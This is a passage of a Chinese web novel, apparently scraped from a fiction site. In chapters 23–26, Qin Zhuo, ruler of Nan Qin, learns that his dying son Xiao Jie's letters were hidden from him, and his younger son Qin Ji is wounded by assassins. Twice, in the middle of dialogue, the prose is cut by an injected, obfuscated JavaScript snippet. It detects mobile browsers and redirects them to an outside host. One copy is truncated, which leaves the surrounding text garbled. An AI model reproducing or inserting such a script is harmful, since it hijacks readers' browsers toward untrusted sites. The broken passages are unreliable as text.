郑绥不再留手,抬剑砍向他颈侧,趁这小子歪头躲避时将他挑下身来。 男孩落地同时一个翻身立起,像头乳虎。但他立定时的攻击姿态又像头狼。郑绥发现,他的杀势里包含许多野兽的进攻姿势,若再长些年岁,只怕是个强敌。 鲜血顺男孩手臂蜿蜒而下,脸色极其难看,却仍是一股不死不休之意。 郑绥看向他那把宝剑,道:“南秦少公,这是何意?” 男孩叫道:“杀你!” 兵器铿然撞击声里,郑绥怕伤到他,跃开一段距离,道:“我与少公远近无仇。” “从大梁来,远近无仇。” 郑绥道:“难道少公要杀尽天下梁人吗?” 男孩冷笑道:“只是梁人,我不管。只是梁臣,我也就嗤一声。但梁皇帝的使节……是你命该如此!” 同他这样纠缠,不知何时才能入城,而萧玠如今…… 郑绥不再手软,一剑刺向他胛骨,那把虎头长剑脱手时反拧他双臂。郑绥抽下马鞭捆缚他双手,道:“少公,得罪。” 男孩冷冷看他,两腮一动。 不好! 他在男孩咬断舌头前死死捏开他牙关。已有鲜血从他唇间溢出,那是一双不像南人的刻薄的嘴唇。男孩抬眼,眼中如射冷箭。 恨之入骨。 郑绥心中大震。 他本以为南秦少公咬舌之举是因为自小骄纵,但从他眼中不符年纪的成熟的恨意里,郑绥顿时了然。 郑绥是大梁使节,如果南秦少公死在他手里,南秦如何能忍,秦灼未必不会发兵攻打长安。而为此,这小子不惧一死。 这么小的一个孩子,心地之冷,竟至于此。 相持之间,已有打马声从山间传来。郑绥擒住男孩,迅速转身面向山口,眼见一支骑队飞奔而来,旗帜上白虎猎猎,正是秦君虎贲。 一个穿戴明光甲的中年人一马当先,见状大惊,急呼道:“阿寄!” 他出现的一瞬,男孩双眼一亮。郑绥看他从腰间拔出一口宝刀,刀柄的貔貅纹纽冷光闪烁。 南秦大政君的丈夫,镇国将军陈子元。 众军弓箭拉满之时,郑绥从腰间取出鱼符,高声叫道:“我是大梁东宫伴读,奉圣命持节出使。今不得已冒犯少公,但请将军通传,还望大公见我!” 23. 第 23 章 秦寄踩上光明台最后几级台阶,突然脚步一顿,叫一声:“阿耶。” 这是郑绥第一次见到秦灼,这个在萧玠祷告里,出现过无数次的人。 和天子不同,秦灼并没有明显的老态,相比同龄人似乎还要年轻一些。只这一眼,郑绥已经从他脸上捕捉到萧玠的影子。 太像了,看到这样一张脸,没有一个人察觉不到那条隐秘的血脉连结。 陈子元看秦寄走上阶去,在郑绥身边住步,肯定道:“你认得阿寄。” 秦寄什么手段陈子元最清楚不过,回宫路上他检查一遍,郑绥竟还算手下留情。 郑绥道:“我见过他那把剑。” 台上脚步声传来的一瞬间,秦寄蜕掉那层冰冷的外皮,似乎变成一个闯祸回家的男孩。他没像这个年纪受惊吓的任何一个孩子一样冲入父亲怀里,而是在秦灼两步外停下脚步。秦灼也没有抱他在怀,哪怕神态焦急。 秦灼看见他唇边血迹,眉心一抖,扳起他的脸,迅速道:“给他拿药!张嘴,还有没有别的伤?” 秦寄笑道:“阿耶小看我。” 郑绥站在一旁,看他们父慈子孝,一瞬间,眼前闪过萧玠的古佛青灯。 默然间,郑绥听见秦寄的声音:“阿耶,杀掉他。” 秦灼这才看向郑绥,眼中没有任何情绪。他直起身,手臂从秦寄肩上拿起。郑绥看他抬起左手,转了转拇指扳指。 秦灼声音没有起伏:“你是梁太子的伴读?” “是。”郑绥躬身揖手,“臣大梁游骑将军郑绥,拜见大公。” 秦灼看了陈子元一眼,陈子元向他颔首。秦灼胸口轻轻震动一下,吩咐道:“子元,你领阿寄回去上药,我瞧他肩膀也伤了。” 一应宫人卫队拥簇秦寄离去,直到他们消失在台下,秦灼才收回视线,往光明台里走。郑绥不料他这样沉得住气,也举步跟上。 宫人在外掩上殿门,光亮暗下去的瞬间,秦灼脸上破冰般钻出一股焦急神情,脱口问:“太子近来如何,身体还好,饮食还好?肺里的症候有没有见轻,平日还咳嗽吗?” 刚出口,他似乎察觉不妥,勉强笑道:“孤从前做过太子的太师,多少有些挂念。” 郑绥神色却是另一种古怪,“大公没有收到信?” 秦灼脸色遽变,急声问:“什么信?太子给我写过信?” 郑绥不可置信,“自奉皇七年别后,太子每月都给大公写信,大公一封都没有收到?” 他眼见秦灼神情一僵,有些茫然地转过眼睛。郑绥咬一咬牙,尽量稳住声音:“那这次……梁皇太子病危,陛下从去年秋天起四海求医,几个月来这样大的阵仗,大公半点消息没有听闻吗?” 秦灼一张脸顿时雪白,像没听清:“病危?” 郑绥深吸口气,撩袍跪下,从怀中取出玉轴。 他半天没有听到秦灼的声音。 郑绥抬头,见那张圣旨正剧烈颤抖。秦灼一个字一个字看过去,目光每挪一寸,就是一串眼泪往下掉。 郑绥低声道:“殿下……很不好了,想见大公最后一面。正月十五写信使人送来,没能得到大公回音,从此一病不起。臣临去时……殿下已经认不太得人了。” 郑绥轻轻呼吸几下,眼前,是萧玠握住他的手指。一层皮一根骨头,瘦成了那个样子。而萧玠卧在病榻上,脸映着光明铜像虚无的金光,只是笑。 萧玠说,如果他有难处,如果他还认我……你告诉他,我不怪他。 除了这一次,萧玠没有直接同郑绥讲过自己的身世,但同样,也没有刻意隐瞒他。 他知道郑绥会懂得,郑绥既懂得,就不会去揭他的伤疤。而此番天子任他出使,就是全然默许他的知情,也全然默许,他是太子知心的人。 郑绥向秦灼叩一个头,像这八年来,萧玠日思夜想的一样。他伏在地上,哑声道:“八年以来殿下相思之苦,臣看在眼里,感同身受。臣固知父母之恩,山高海深。竟不知父母之恨,亦如是否?” 他听到玉轴坠地骨骨滚动的声音。 郑绥闻声抬头,在夕阳之下,看到秦灼满面血迹般的泪迹。 *** 秦温吉半张脸闪动着白玉面具的光辉,正蘸油擦拭一口宝刀。秦灼隔案坐在她对面,将玉轴放在案上,平静道:“你瞧瞧吧。” 秦温吉看他一眼,没有擦手,就这样带着满手油污打开圣旨,淡淡扫过一眼,冷笑道:“当初割袍断义,如今写这种东西。怎么,放妻书后补个悔过书吗?” 她没有再看第二眼,随手丢到一旁。 秦灼一条手臂搁在案边,静静道:“温吉,阿玠给我写了八年的信。我一封没有收到。” 秦温吉反应不是很大,继续去捉自己的刀,“哦,有这事儿。长安到这里也不算近,或许路上遗失了,或许,没有缘分。” “我肚子里出来的,我和他没缘分。”秦灼捻动扳指,声音微冷,“那和我一个肚子里出来的,缘分是不是早就断了。” 秦温吉手上一顿,转头看他,“你猜忌我。” “你没有吗?” 秦灼盯着她的眼睛,“我把传讯的法子留给了阿双,我一走,他多少和他爹闹别扭,找我只会走这条路子。那一段阿寄要出生,我把这些东西都交给了你。你不要告诉我,天南地北的信件都通达无阻,只有东宫的找不着路。” 秦温吉也定定看他,一字一顿道:“我说了,你们,没有缘分。” 秦灼看她一会,突然展颜笑了:“好,好得很。你不是爱当家么,成,你当吧。” 他猛地起身,冲殿外喝道:“来人,备马!” 秦温吉也霍地站起来,“你干什么?” 秦灼道:“我去长安。” “你他妈疯了!”秦温吉将刀一掼,“萧重光当年削你的爵夺你的权赶你的人,桩桩件件都是往恩断义绝上靠,你现在回去,是一地之主去摇尾乞怜,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566366|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做他的妾妃去再求君恩?南秦的脸面你都不要了!” 秦灼冷笑两声:“我他妈不要我儿子的命,我要脸面?我若是要脸的人,当年早就不会跟他萧重光,也不会舍给那些人作践!” 陈子元闻讯赶到,正见他二人横眉立目,急声叫道:“老天,你俩别自己窝里斗了,什么时候了!” 秦灼见他,终于流露出痛苦神色,他紧紧抓住陈子元双臂,浑身都在哆嗦,叫道:“陈子元,这么多年,我拿你当亲兄弟看待。我求求你给我一句实话,阿玠的消息你们知道多少,这些年他都送了多少信过来。我求你了,妹夫,大将军,我给你跪下行吗?” 他边说边跪在地上,骇得陈子元扑通跪倒架着胳膊拉他,急声道:“大王,哥,你给我下跪,你要逼死我啊!” 他拖不动秦灼,只觉臂弯中这整个人都抖若筛糠。自从八年那回之后,他何曾再见过秦灼这副模样。 陈子元叹口气,攥了攥他双手,道:“大王,你跟我来吧。” 他搀扶秦灼起身,抬头时,正对上秦温吉狠狠剐来的目光。 陈子元苦笑一下,架住秦灼出了门。 到兵器库跟前,陈子元从腰间取下钥匙,边插进锁眼边说:“你妹妹管的严,我藏私房的地方就这边她没找着。东西都在这里了。” 门吱呀一响,秦灼快步走进去,看陈子元翻开一堆破烂的皮甲,搬出一只大箱,将箱子打开。 满满一箱的信。 奉皇十五年、十四年、十三年,最早,能到奉皇七年的腊月。 陈子元顺着他打颤的双手,看到八年前萧玠犹尚稚嫩的笔迹。他在秦灼身边蹲下,涩声道:“每次收到,都吩咐叫人烧了。我没舍得,就锁了起来。有时候一个月一封,有时候一个月好几封。我怕小殿下自己受委屈,都看过。还好,都是想你的。” 秦灼将信件抓得发皱,一下子跌在地上。陈子元忙要扶他,突然听门砰地一响。 秦温吉站在门口,面无表情,啪地把一只信封掷在地上。 是萧玠这次的信。 她掉头就走,陈子元要去捡信,秦灼已经扑上前,哆哆嗦嗦地撕开信封。他手颤得厉害,哧啦一声,把信撕成两半。 陈子元看不得他这个样子,要扶他,秦灼却不管,伏在地上,把撕坏的信拼在一起就这样看。没看一会,他像又经历了一次分娩的阵痛,头抢在地上,放声痛哭起来。 臣玠跪禀。秦大公福寿无疆。臣福浅命薄,不得侍奉膝下,又病染膏肓,药石罔效,归身之期,旦夕之间。此堪忍世界,多诸怨嫉,今当脱苦海,公莫为我哭,实为我庆也。臣非贪生之辈,然自公去后,已有八年,独恐身后梦告,公不能识我而以鬼祟逐我也。故悬命于丝,忍死以待。望公垂怜一顾,教我瞑目。此书之后,无复扰公,公春晖之恩,臣万死万死不足以报。如来世可期,愿我为父公为子,必倾气力,不致离分。再拜,再拜。 奉皇十六年元月十五日 24. 第 24 章 夜间老大一面月亮,银脸盘,照进光明台的雕窗,冲窗里的秦寄婆娑泪眼。秦寄一条腿跨床下,一条腿蹬床沿,在一块砚石一样的磨刀青石上一丝不苟地磨匕首。 一旁,坐着他的姑表兄弟秦华阳。秦华阳瞧他动作,手底寒芒斩动,剑锋雪亮。随着剑底迸溅火花,秦寄的脸变成一股愤怒的青色,这是他不属于秦氏的脉勇基因。这哪里是个九岁的孩子,分明是个老辣的刺客。但不过一会,他的脸色又变回原样,这要感谢月亮。月亮今晚湿漉漉的眼泪洒在他脸上,秦寄痛恨全部,除了月亮。 秦华阳打断道:“好了。” 秦寄不说话,但也没有执拗。他把虎头匕首插回靴子口,站起来,张开嘴巴等着。 秦华阳捏起一块藕粉糕塞进他嘴里。 秦寄嚼了嚼,转脸看向铜镜,他审视自己的五官轮廓,说:“哥,我和阿耶长得并不像。” 秦华阳不以为意,“哪有都像爹的,你瞧我,也不像你姑父。” 秦寄说:“我也不像阿娘。” 秦华阳沉默了。他扭头,见秦寄仍看着镜中的脸,专注得有些吓人。他眼睛幽黑地问:“你见过梁太子吗?” 秦华阳想了想,“应该见过,但没什么印象。” 秦寄终于抬头,问:“什么时候见过?” 秦华阳摊手,“我也不知道。” 秦寄说:“你知道。” 两人对视一会,秦华阳缴械投降,“好吧,我知道。” 他回忆道:“我阿耶说,他小时候来过这里几次,我满月时他也抱过我的襁褓。说我当时就尿了他一身,他也不急,还会给我换尿布。” 秦华阳想了想,“他那时候估摸也就四五岁。梁太子,应该很会照顾人。” 秦寄没有说话。秦华阳看他抬起手,摸了摸肩胛处的伤口,正想再讲些什么,外面已经响起争吵之声。 在秦华阳拉住秦寄之前,秦寄已经一条鱼一样蹿下座位,身形轻盈地跳出门去。 秦华阳追上他时,秦寄正立在秦灼卧室的房门外。秦华阳听到母亲和大公舅父争吵的声音。一旦提到大梁,母亲的态度总是咄咄逼人。阿娘刻薄的笑声从门缝中迸溅出来,像夜间一只坠地的宝瓶。 秦温吉道:“他干了什么事你全都忘了?且不提那些,当年如果不是你命大些,说不定都死在了半路上!姑姑死在长安,阿耶死在长安,但凡留在长安的秦人没一个好下场,你就这么赶着去死吗?” 秦寄没有表情,眼睛贴上门缝,冷静地观看这出家庭闹剧。秦灼并没有他想象中的愤怒,他平静、甚至有些疲惫地看向秦温吉,将手上的扳指摘下来,随手丢到桌案上,骨碌碌的转动声里,提步要走。 身后,秦温吉突然道:“他已经立后了。” 秦灼停住脚步。 秦温吉目光犹如毒蛇的尖牙,她缓缓说道:“梁太子病重垂危,他就迫不及待再立新后,有多么把这个南秦血统的儿子放在眼里?再说,你回去,算什么?是他萧重光的弃妇,还是梁太子见不得人的生母?你别忘了,萧玠如今已经有一位嫡母了。你看得下萧重光和旁人花前月下,看得下萧玠认旁人做娘吗?” 秦寄看父亲转过脸,他脸上有一种大无畏的平静,连他的声音都是。秦灼说:“萧玠是我儿子。但凡他能好,我什么都看得下。” 秦温吉看着他的脸,轻轻问:“你儿子,只他一个吗?” 门外,秦华阳心中一颤,低头去看秦寄。秦寄伏在门上一动不动。他听到父亲的声音产生一股危险的警告之意,秦灼连名带姓地叫道:“秦温吉。” 秦寄睁大眼睛,看秦温吉上前一步,嘴唇抵到秦灼耳边,这是一个天知地知你知我知的距离。这个距离是一切恶毒诅咒的诞生之地。他不知道秦温吉的话,但通过秦温吉志得意满的表情已经有所推断。如果他再长四岁,在舅父段藏青那里学会读唇之术,会轻而易举地拆解他们的密谈内容。他会探知秦温吉那颗食人花一样热烈又长满利齿的心脏。他会听到秦温吉说:“阿寄和萧玠的命,你只能留一个。” 秦灼别过脸,看着秦温吉的眼睛,“阿寄是南秦的太子。” 秦温吉说:“你可以过继宗族之子,只要有名分,他们就是你的儿子。从襁褓里抱过来,你就是他们的亲生父亲。他们会跪你拜你孝顺你。秦太子只是继承人,血脉怎么样,我不关心。” 秦华阳当年还不能理解母亲语中深意,也不能理解这一语出后,舅父的神情为什么会如此痛恨。他手掌松了又握,似乎下一刻就能掐上母亲的脖颈。最后,他只是长叹一声:“你想做秦善,就做吧。” 他这句话像一把利剑一样刺中秦温吉胸膛,这一刻,秦温吉罕见地露出受伤的表情。她指了指秦灼左胸,咬牙切齿道:“秦灼,你说这话,摸摸良心。” 她靴子一抬,又站住,在擦肩的位置对秦灼说:“我说到做到。” 她径直往门外走,秦华阳忙将秦寄拉到一旁。秦温吉快步离去的靴声在黑夜里久久方息。秦华阳低头要同秦寄讲话,正见秦寄的脸曝在月光下。月亮像抽了他的血,叫他的脸显现出与他健康肤色不符的苍白。他睁着一双又深又黑的眼睛,静静盯向大敞的殿门。 殿内,秦灼身体如同烂泥,缓缓瘫软在椅中,双手捂在脸上,浑身颤抖不止。 不知过了多久,秦灼才从掌心间抬起脸,秦寄看到他洇湿一片的袖口,像泣出的血。接着,秦灼连声高喊一个常常叫错的名字,“阿双”,这么叫了两声,已有宫人快步赶入。秦灼这才惊醒一般,深深呼吸几下,有些语无伦次:“叫陈子元拿我的大印拟旨,但凡能治好梁太子的,我封他万户。开太子祠,把东西全都搬过去,我这一个月住在那里。还有。” 他说:“拿刀,拿碗,我要祝神。” 闻言,秦华阳浑身一竦,低声道:“舅父这是要……割血祭祀?” 秦寄似乎毫无反应,秦华 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那房间像一面蒙尘的铜镜,秦寄像隔着一个世界去看另一个世界里的人。他把那镜子擦了又擦,才拨开一张架子床披拂的帷帐,找到一张素未谋面又熟识已久的少年的脸。那张脸覆盖秦灼五官的青翳,秦寄像看一团漩涡里的自己。碗中鲜血平面渐涨,少年嘴唇血色渐涨。秦寄看到一把青色有毒的匕首刺在他的胸口。那剑柄裹满青色毒汁,鳄鱼泪水,触之即死。有两双手一起握住匕首,缓缓将那口毒剑从少年胸膛拔出。一双手佩戴扳指,兰麝四溢,腕部鲜血淋漓。 秦寄紧盯另一双手。 那双手老茧遍布,瘦皮包骨,像个铁匠,又像农夫。 那是他穷尽一生也要砍断的一双手。 他看着那双手和秦灼的手十指相扣。 在秦灼将那碗鲜血奉到香案上时,秦华阳感觉身边秦寄浑身触电般地一震。他突然转头,没有走台阶,跃身跳下一个连一个的高台,矫捷得像飞鸟在山间翩跹。他跳跃落地的声音像一枚石头连打的水漂,最后一个涟漪的咕咚声落后,秦华阳听到他掐指嘬唇的哨声。 秦华阳快步追下台阶,高声喊道:“阿寄,深更半夜,你又往哪去!” 黑马应声奔来的马蹄声中,响起秦寄翻身上马时衣袍震动的风声。他的声音远远传来:“阿耶今晚顾不得我,我天亮前一定回来!哥,谢了!” *** 一座祠庙里,郑绥在金像跟前停住脚步。 这是一个未成年的男孩,眉眼低垂,姿态柔和。一头白虎塑像伏在他右膝,他左肩之后,一条蟠龙环绕。特别的是,男孩所穿并非南秦宗族服饰,而是头戴郑绥熟悉的九旒冠冕,身着玄服九章。 郑绥看了一会,从像前跪下,双手合十,俯身磕了个头。 他在起身之前,听到祠庙外的脚步声。 来人说:“这是南秦的太子祠。” “我是南秦的太子,但供奉的不是我。” 25. 第 25 章 秦寄的脸暴露在月光下,和他毫无起伏的声音一样,看不出半点情绪。郑绥看他靴子一踢,那把虎头匕首如一跳银鱼跃入他手中。 秦寄在袖口擦了擦匕首,说:“阿耶不叫我杀你。” 郑绥站起来,道:“但少公并不甘心。” 秦寄看向他,“我是个睚眦必报的人。你刺了我两剑,还捆了我的手脚。按我的脾气,得杀你。” 郑绥没有拔剑,“少公觉得,你杀得了我吗?” “但我可以让你见不到梁太子最后一面,或者,让他见不到我阿耶最后一面。”秦寄脸上浮现出孩子气的笑意,“毕竟,他要死了。” 郑绥凝视他的脸,问:“少公意欲如何。” 秦寄说:“我找人打听了你,游骑将军郑绥,听说你箭术很好。” 郑绥未答话,秦寄已经往背后一探,拿出一副弓箭,“你和我比一场,你赢了,我放你走。” 郑绥问:“少公要比什么。” “比准头。”秦寄边说边走出祠庙,他的声音远远响起,“看看谁的箭,能射中他的眉心。” 他话音一落,郑绥便听啪地一声轻响,一道飞影破风,擦着他鬓角砰然射向身后。 郑绥转头,正见一支飞箭旋然坠落,男孩眉心留下一道血迹般的刻痕。 秦寄放下弓箭。 郑绥沉默片刻,跨步走出祠庙,从秦寄身边住步。这个位置,正好看到整座太子祠的全貌。 秦寄将弓递给他,腕上金光一闪。郑绥这才看清,他手腕上也戴着一串光明铜钱。 郑绥从他手中接过木弓。 这副弓的弓力不小,完全不该是这年纪的孩子使用。能有这样的力道和准头,这位南秦少公,在武学上很有天赋。 郑绥搭箭在弦时,秦寄抱臂站在一旁,始终保持一种审视的目光。他看着这个少年将军从异土异族的祠庙里跪倒,叩首时郑重得像一个光明教徒。而如今,他搭箭的手指在微微发抖。 秦寄意识到,叫他射向那个人的偶像是一件极其残忍的事。这残忍带给他一种报复性的快感。但快感这种事,很难说是纯然的快乐,或痛苦。 静夜之中,绽开一道碎裂的响声。 郑绥放下弓箭,道:“望少公言出既定。” 秦寄却说:“你是梁太子的兄弟。” “是。” “他很看重你。” 秦寄作出判定。 郑绥跟随他的目光看向自己手腕,袖口滑落,露出条血红衣带。像是被人撕裂的,外缘磨出细微的毛边,缎料上有一些深褐痕迹,像干枯的血。 秦寄也就看到,在死亡的青霾彻底笼罩那个少年之前,他靠在枕上,从一只匣子里取出一条衣带。 秦寄从秦灼旧衣上见过同样的纹样,两道布料的裂痕冥冥拼合。 那少年拉过郑绥的手腕,将衣带系在他手上,说,你以后戴着它吧,这个戴着,能保平安的。 又是强颜欢笑。秦寄最为憎恶。 他收回视线,从郑绥手中拿回弓箭,轻松道:“咱俩的账了了。回去转告他,我有一张弓在他那里。” 秦寄道:“我不要死人的东西。” 郑绥的目光一暗。 秦寄没有任何反应,掐指一哨,翻身上马时对郑绥说:“我会去找他拿的。叫他等着。” *** 秦灼赶到白虎台时,见秦寄正在倒柜翻箱。衣服武具丢了一地,宫人俱被他赶到外头,垂着头不敢劝一句。 秦灼脸上疲惫未褪,强忍脾气,将脚边一件春衣拾起给他扔到床上,“你伤养好了?大半夜搞这些阵仗,我瞧你是不够疼的。” 秦寄没有起身,仍在鼓捣。秦灼这才发现,他在胡床上摊开了一张包袱皮。 “我想去找阿娘住两天,今晚就走,不找姑姑辞行了。”秦寄脸色如常,“阿耶,明早你和她说一声。等你回来,我就回来。” 秦灼哑然片刻,叫道:“阿寄。” 秦寄冲他笑笑,灿烂的,孩子式的。他扭头,看到案上有一只包蜜煎的油纸包和一碗酥酪。秦灼对他的甜食和乳品十分宽容,甚至常常主动叫庖厨做给他吃。 他过去喝了口酪,又将油纸包拿过,一块放进包袱皮,边对秦灼说:“阿娘今年还没来过,我有些想她。到西琼,舅舅还能带我进山打猎。不过估计又得考较我的马术,今年应该能把缰绳撤掉了。从西琼回来,还能去看看老师,可能去皇陵那边再待几天……” 他想了想,从床里够出一只小狗布偶,是他出生不久秦灼叫人缝给他的,从小一直玩到现在。秦寄将它一并收好,冲秦灼笑道:“阿耶放心,那条山路我走得熟,用不了五天就能到。到了我再给你写信。” 秦灼的神情很难形容,他走上前,从秦寄面前蹲下,放柔声音问道:“阿寄,你听到了什么?” 秦寄看了他一会,抬手臂抱住他的脖颈,说:“我身体很好,不会随便死掉。你放心就好。” *** 秦寄启程两日后,秦公奉诏,随报聘使郑绥入京。 温吉城门缓缓开启,门洞阴影下,秦温吉看秦灼认镫上马,冷笑一声:“一条心地胳膊往外,你倒会养儿子。” 秦灼没讲话,从手上摘下那只虎头扳指,向她抬手。 秦温吉往后撤一步,“不敢,这么大僭越的罪名,怕你杀我的头。” 陈子元拐了她一下,那扳指也不好接,只打哈哈问:“大王什么时候回来?” 秦灼道:“阿玠见好,我就回来。” 秦温吉嗤笑:“见好,你还回得来吗?旧衣裳都翻腾出来穿上了,何况见了旧人呢。” 陈子元方才没留意,这才发现秦灼竟又穿了那件黑狐狸大氅在身,心中一惊,已听秦温吉继续道:“——真要回来,等国丧吧。那也不保准,一块经个丧子之痛,还有什么前情过不去?说不定梁太子一条命,正好给你们重新牵线搭桥。孝顺的好儿子啊。” 秦灼脸色已很不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一会,秦灼才问:“还好?” 郑绥如实道:“不是很好。” 秦灼点点头,这么行了一会,郑绥以为他不会再问,正准备寻些旁的话头,却听秦灼开口:“那药,还吃着?” 郑绥知道他在问谁,道:“有殿下看着,应当一直在吃。殿下一倒,怕也顾不上。瘦得厉害,头发也白了一片,臣一个外人瞧在眼里,都不忍心。” 秦灼依旧没有表态。他握住缰绳,郑绥听见骏马受痛的低鸣。 许久,那只手才微微一松,秦灼对郑绥笑了笑,“小郑将军,劳你先派人走马道通传,别因为开门交涉耽误功夫。我走承天门,那边要快。” 落日之下,秦灼突然转首,高声喝道:“全体提速,四日之内务必赶到长安!” 金河汹涌声中,传来马蹄隆隆作响的声音。 郑绥嘱咐传令兵先行,自己陪同秦灼渡河。他先行上桥,秦灼紧随其后,黑马踏上栈桥时,队伍后突然响起飞奔而来的马蹄声。 郑绥转头,见竟是秦华阳狂奔而来,跌跌撞撞滚下马背,直接扑倒秦灼脚下。夕阳里他一身鲜血,但身上却没有伤口。 秦华阳抱住秦灼的靴子,带着哭腔叫道:“阿寄……阿寄遇刺了,阿娘赶到时人已经不清醒了。舅舅……舅舅,你回去看一眼吧,阿寄的命也是命啊!” 26. 第 26 章 秦灼跨进白虎台门槛时,正冲见宫人端了脸盆出来,一盆血水照出秦灼苍白一张脸,像个鬼影,晃得他有些头晕。他一来,人群压压跪了一屋,秦寄那件沾血的外衣也被捧出来。 那一瞬秦灼听到多年之前的一声虎啸,接着是一个孩子撕心裂肺的哭喊—— “哥,”陈子元把住他手臂,“你还成?” 秦灼点点头,叫他半扶着走向床边。秦寄躺在床上,脸畔本溅了血,因擦拭血迹留下了淡淡红晕。秦灼不敢往他身上看,只瞧一个十几岁的少年坐在床边,捻针刺秦寄的穴位。 见到这少年,秦灼心中虽不至于放松,多少有了些余地。 这是郑永尚的孙子,名唤郑挽青,是南秦上下闻名的神童。不仅博通宗学,对医术更有惊人的造诣。郑永尚去世后,得其技艺者独郑挽青而已。 一针下去,秦寄眼皮动了动,双唇依旧紧闭。 郑挽青道:“大王宽心,这是有了意识。” 秦灼忙问:“有意识,怎么不睁眼,也不叫痛?” 郑挽青道:“殿下意志坚定,年纪虽小,却很好忍。等他叫痛,便是彻底清醒了。” 秦灼探手摸了摸秦寄的脸,只觉得热,待陈子元递上帕子,他才发觉自己已然泪水涔涔,将帕子从脸上合了合,转头,正对上秦温吉略带焦急的一张脸。 秦灼对郑挽青道:“一切有劳。”又看向秦温吉,“你跟我来。” 他一讲话,那些担忧之意从秦温吉脸上漶然而散。她冷冰冰道:“有什么话不能当着人说?有什么话你跟我还说不出口吗?” 秦灼定定看了她一会,说:“我真的很好奇,我的妹妹,胸口里长的是不是颗人心。” 陈子元胸中咚地一震,见秦灼靠在帷帐边,呵呵笑起来:"你喜欢权力,没问题。阿寄出生后,我连虎贲都放给了你,到现在整整八年,我找你要过兵符吗?你在朝中培植党羽,在军中收拢人心,我有没有问过你一句?" 他笑得浑身都在哆嗦,“我一共这两个儿子,你是一个都不放过呀。妹妹,好妹妹,你是真心诚意想叫我断子绝孙啊!” 他这一句话何其之重,显然是痛至极处。陈子元扑通跪倒,急声道:“大王,温吉的确是个说到做到的性子,也的确不想让你再回去,但这次确确实实不是她。大王想想,她若对殿下出手,就是为了叫你留在家里。可殿下遇刺时已经出了明山,若非哨子听见响箭,只怕大王你进了长安都不知道,那她对殿下动手有什么意义?” 陈子元双手撑在地上,声音已然颤抖:“大王,她对梁太子没有感情是真,若说迁怒也的确有几分,但阿寄是她看着长大的,她就算动手,又岂会真的奔着他的命去啊!” 秦温吉眼睨着秦灼,冷声喝道:“你起来,他要杀就杀。都是这些年惯的他!我真想绝他的后,秦寄能养到这么大?说我拿兵权,你问问他,阿寄出生一年里他下得了床吗!好,现在为着外人要杀我,孤家寡人的滋味,他也该尝尝了!” 秦灼胸口起伏,正要开口,突然听秦寄低低呻吟一声。秦灼忙赶到床前,低声问:“怎么样?” 郑挽青从秦寄眉心拔出金针,翻了翻他眼皮,道:“殿□□格强健,卧床休养两个月当无大碍。皮肉虽伤得严重,但万幸没有伤及要害。估摸今晚,人就能清醒过来。” 秦灼一颗心这才放下,握着秦寄的手坐了一会,替他掖好被子,站起身,见陈子元仍从地上跪着,叹口气道:“华阳,扶你阿耶起来。” 秦华阳应声,将陈子元搀扶起来后又听秦灼吩咐:“带你阿娘回去。” 秦华阳不敢多言,朝秦温吉挤眼。秦温吉看他一会,自己拔腿就走。 她一走,秦灼才扶住膝盖,从桌边坐下。陈子元见他神色不对,忙要喊郑挽青,秦灼冲他摆摆手,“一会你陪我回去贴剂膏药,帮我按一按。那几个穴位你还记得吗?” 陈子元一愣,才反应过来他讲的是什么,道:“约莫记得,当年还给了我一张画穴位的图。我叫人找找。” 秦灼应一声,陈子元见他那样,又忍不住啰嗦:“阿寄出生后你这腿就更不成了,平日连马都少骑,就算真去,也不能跑成这样,还当年轻的时候呢。” 秦灼只问:“查出来了吗?” 陈子元道:“温吉已派全体虎贲封城追查,但有消息,立即回禀大王。” “没有活口?” 陈子元叹道:“哥,你也知道咱们阿寄下手……何况这回属实凶险,要真剩个带活气的,只怕阿寄就回不来了。” “几个?” “五个。” 秦灼颔首,“割了脑袋,悬在城门示众。尸体丢去喂狗。” “成。”陈子元咋舌,“不说别的,阿寄的确是个练武的料子,这点是随……” 陈子元骤然噤声,去瞧秦灼。秦灼面无表情,转头看着秦寄。陈子元不知他在秦寄脸上看到的是萧玠,还是别的什么人。 残月高悬之际,秦寄依旧没有苏醒。陈子元走进殿中,见秦灼手边的汤粥已冷,碗箸一动未动,正要劝,已听秦灼问:“朝中来问什么?” 陈子元道:“几个大贵族听了风,联合神祠的诸位宗伯宗姬,来打听你还要不要北上。” “还要不要。”秦灼问,“没问少公的伤情?” “问了一嘴。”陈子元道,“大王,咱们朝中说太平是太平,但说安定也没有多么安定。我是你妹夫,更是你兄弟,我说句掏心窝子的话,之前没了裴公和褚鉴明,朝中已经很不满了。你那一段谁的话都听不进,还跟着搞变法那一套……虽回来了,身体又大不如前,没有温吉弹压,那几个不知道掀起多大的风浪。更别说光明宗这一块,原本是由掌管神祠的大宗伯统管,但秦善篡位弑杀大宗伯后,这位置便一直空悬,你统揽起来也是应当应分。但你晓得,秦人对光明王的虔诚到了什么样的地步,你如今若走,何止国无君父,只怕更是渎神。阿寄未醒,朝廷和神祠再两方胁迫,那得是多大的乱子……” 秦灼说:“我可以立即选立新的大宗伯。” 陈子元叫道:“大王!” 秦灼继续道:“这件事交给你,你按照旧制,征集十五岁以下男孩的姓名生辰,用金签选取十名圣童。然后安排他们在光明台讲经布告,由臣工一同评断。” 陈子元脑袋都快炸了:“这么急急火火的,你让我搞?在南秦宗教权只怕比大公权位还尊重,你这么让出去,岂不是埋下个心腹大患?” 秦灼道:“你也要拦我吗?” 陈子元叹道:“哥,你真的觉得阿寄出事,是温吉动手吗?” 秦灼默然。 